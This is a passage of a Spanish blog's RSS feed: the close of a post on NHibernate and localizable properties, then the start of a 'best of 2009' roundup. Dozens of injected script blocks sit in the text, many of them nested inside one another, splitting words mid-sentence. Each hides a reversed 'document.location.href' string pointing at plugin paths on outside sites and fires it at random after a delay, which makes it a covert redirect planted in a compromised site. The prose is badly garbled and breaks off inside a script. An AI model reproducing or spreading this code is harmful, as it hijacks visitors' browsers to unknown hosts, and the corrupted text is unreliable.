<p>En resumen, las propiedades traducibles o localizables son un problema difícil de resolver que generan una capa de complejidad en el acceso a da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos y en la gestión de dichas traducciones. Aun así me puedo aventurar a dar cier<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos consejos</p>
<ul>
<li>Antes de localizar una propiedad, pensar si realmente es necesario ¿realmente es necesario?</li>
<li>Si no vamos a necesitar ordenación u indexación por SQL, el mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo basado en IUserType es más que suficiente y ahorramos problemas. NOTA: Si se quiere indexación, siempre se puede usar <a href="http://incuba<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor.apache.org/lucene.net/»>Lucene.NET</a> y <a href="http://darioquintana.com.ar/blogging/2007/12/09/nhibernate-search/" class="broken_link">NHibernate.Search</a> con un Bridge personalizado que almacene <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todos los idiomas.</li>
<li>Si necesitamos ordenación, seguramente será solo en algunos campos concre<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos, así que podemos solamente usar el segundo mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo en los campos más críticos para simplificar nuestra vida.</li>
</ul>
<p>En mi caso al final hemos optado por una solución mixta, usando el primer mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo en la mayoría de los casos y cuando se ha necesitado tener listados grandes ordenados por la propiedad localizable, hemos optado por una solución parecida a la de WebDevBros pero con una tabla por cada campo localizable porque no son muchos y el mapeo es más simple.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2010/03/16/nhibernate-y-localizacion/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Lo mejor de 2009</title>
		<link>http://blog.climens.net/2009/12/31/lo-mejor-de-2009/</link>
					<comments>http://blog.climens.net/2009/12/31/lo-mejor-de-2009/#respond</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Thu, 31 Dec 2009 14:03:05 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[bestof]]></category>
		<category><![CDATA[top10]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=243</guid>

					<description><![CDATA[Como cada año, este post hace un repaso de lo más leído de 2009. La verdad que ha sido un año de altibajos, con pocas entradas pero en mi opinión de mejor calidad y más específicos y útiles (para el &#8230; <a href="http://blog.climens.net/2009/12/31/lo-mejor-de-2009/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Como cada año, este post hace un repaso de lo más leído de 2009. La verdad que ha sido un año de altibajos, con pocas entradas pero en mi opinión de mejor calidad y más específicos y útiles (para el que le sirvan) que los publicados anteriormente. Además he introducido algunos posts más en inglés con temas que creo que no estaban explicados en ningún sitio.</p>
<p>El más leido de 2009, <a href="http://codelog.climens.net/2009/01/29/nhibernate-burrow-and-nhibernate-search/">NHibernate Burrow and NHibernate Search</a>, explicando la integración de estas dos estupendas librerías. <a href="http://nhforge.org/wikis/burrow/home.aspx" class="broken_link">Burrow</a> permite manejar sencillamente las sesiones de NHibernate en en<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tornos web y Search permite integrar con Lucene. También escribí <a href="http://codelog.climens.net/2009/01/27/nhibernate-burrow-y-nhibernate-search/" class="broken_link">la versión en español</a> del artículo.</p>
<p>Más de NHibernate: <a href="http://codelog.climens.net/2009/03/04/nhibernate-valida<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor-cus<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tom-messages/»>NHibernate Valida<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor cus<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return 